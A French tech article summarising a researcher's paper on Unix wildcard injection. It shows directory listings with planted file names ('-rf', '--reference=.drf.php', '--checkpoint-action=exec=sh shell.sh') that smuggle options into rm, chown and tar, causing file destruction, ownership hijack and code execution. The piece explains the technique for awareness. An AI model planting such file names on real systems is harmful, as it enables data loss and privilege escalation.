Le joker d'Unix, une source de bien des dangers
Un outil pratique au quotidien, mais qui peut se révéler fatal à l'usage
Vous connaissez très certainement le joker (wildcard), représenté sous Unix et dérivés par le caractère '*'. Ce simple caractère permet à votre terminal de compléter lui-même et de manière automatique des éléments. Plus précisément, si avez un répertoire avec trois fichiers comme suit :
Et que j'exécute la commande suivante (pour lister des fichiers) :toto
foo
lol
Sans surprise, vous obtenez :ls *o*o
Le joker permet donc de substituer zéro ou plus caractère. Un ls * liste donc, tous les fichiers du dossier courant.foo toto
Un outil très utile donc, que vous avez déjà dû utiliser plusieurs fois.
Concept
Un chercheur a publié un document expliquant que cet outil, bien que très pratique est aussi une source de nombreux dangers. Voici un exemple de dossier piégé :
Nous voyons ici, un fichier inhabituel "-rf". Si l'utilisateur effectue un rm *, pour supprimer les fichiers actuels, sans supprimer les sous-dossiers, la commande réellement exécutée, sera :[root@defensecode public]# ls -al
total 20
drwxrwxr-x. 5 leon leon 4096 Oct 28 17:04 .
drwx------. 22 leon leon 4096 Oct 28 16:15 ..
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR1
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR2
drwxrwxr-x. 2 leon leon 4096 Oct 28 17:04 DIR3
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file1.txt
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file2.txt
-rw-rw-r--. 1 leon leon 0 Oct 28 17:03 file3.txt
-rw-rw-r--. 1 nobody nobody 0 Oct 28 16:38 -rf
Et, tristement, il ne restera plus rien de son dossier, ni de ses sous-dossiers.rm DIR1 DIR2 DIR3 file1.txt file2.txt file3.txt -rf
Hijack du propriétaire et mode des fichiers
Certes, détruire des fichiers, ce n'est peut être pas le plus intéressant. Mais, en cherchant bien, nous pouvons trouver beaucoup plus intéressant et c'est ce qu'a fait le chercheur pour nous : chown.
Imaginons que l'administrateur souhaite changer le propriétaire de tous les fichiers du dossier suivant en "nobody" :
Il utilise la commande :drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 user user 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 user user 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:35 download.php
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:35 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 user user 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 user user 94 Oct 28 17:35 script.php
et le résultat est :chown -R nobody:nobody *.php
Comme vous pouvez le voir, tous les fichiers appartiennent maintenant à leon. Comme dans l'exemple précédent, la commande a traité le fichier --reference=.drf.php comme une option, option permettant de dire d'utiliser le propriétaire et le groupe d'un fichier, en place d'utiliser la notation PROPRIÉTAIRE:GROUPE.drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 leon leon 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 leon leon 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 leon leon 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 leon leon 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 leon leon 201 Oct 28 17:35 download.php
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 leon leon 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 leon leon 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 leon leon 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 leon leon 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 leon leon 117 Oct 28 17:35 inc.php
-rw-rw-r--. 1 leon leon 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 leon leon 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 leon leon 94 Oct 28 17:35 script.php
Pire, avec un lien symbolique menant au dossier /etc/shadow, le propriétaire du dossier système aurait pu être modifié lui aussi.
Cette astuce peut être aussi utilisée avec chmod et les modifications du mode des fichiers.
Exécution de code arbitraire
Il est possible d'aller encore plus loin avec cette astuce. Cette fois, l'outil cible est tar (compression de fichiers) et son option :
Voici le contenu du dossier piégé :--checkpoint[=NUMBER]
display progress messages every NUMBERth record (default 10)
--checkpoint-action=ACTION
execute ACTION on each checkpoint
Et la commande utilisée :drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
-rw-r--r--. 1 leon leon 0 Oct 28 19:19 --checkpoint=1
-rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:37 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:36 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 user user 94 Oct 28 17:38 script.php
-rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh
Vous l'avez deviné, shell.sh sera exécuté à l'insu de l'utilisateur lançant la compression.tar cf archive.tar *
Il est possible de faire la même chose avec rsync un autre outil très utilisé et l'option -e.
Ces astuces ne sont pas nouvelles et elles existent depuis plus de vingts ans. Ce n'est pas un bogue et comme toujours, il est du ressort de l'administrateur de faire très attention à ce qu'il exécute et le contenu des dossiers.
Votre opinion
Connaissiez-vous ces astuces ? Comment les avez-vous apprises ?
Avez-vous déjà rencontré ce genre de pièges avec le joker ?
Comment pouvons-nous nous en protéger ?
Source
Back To The Future: Unix Wildcards Gone Wild
Partager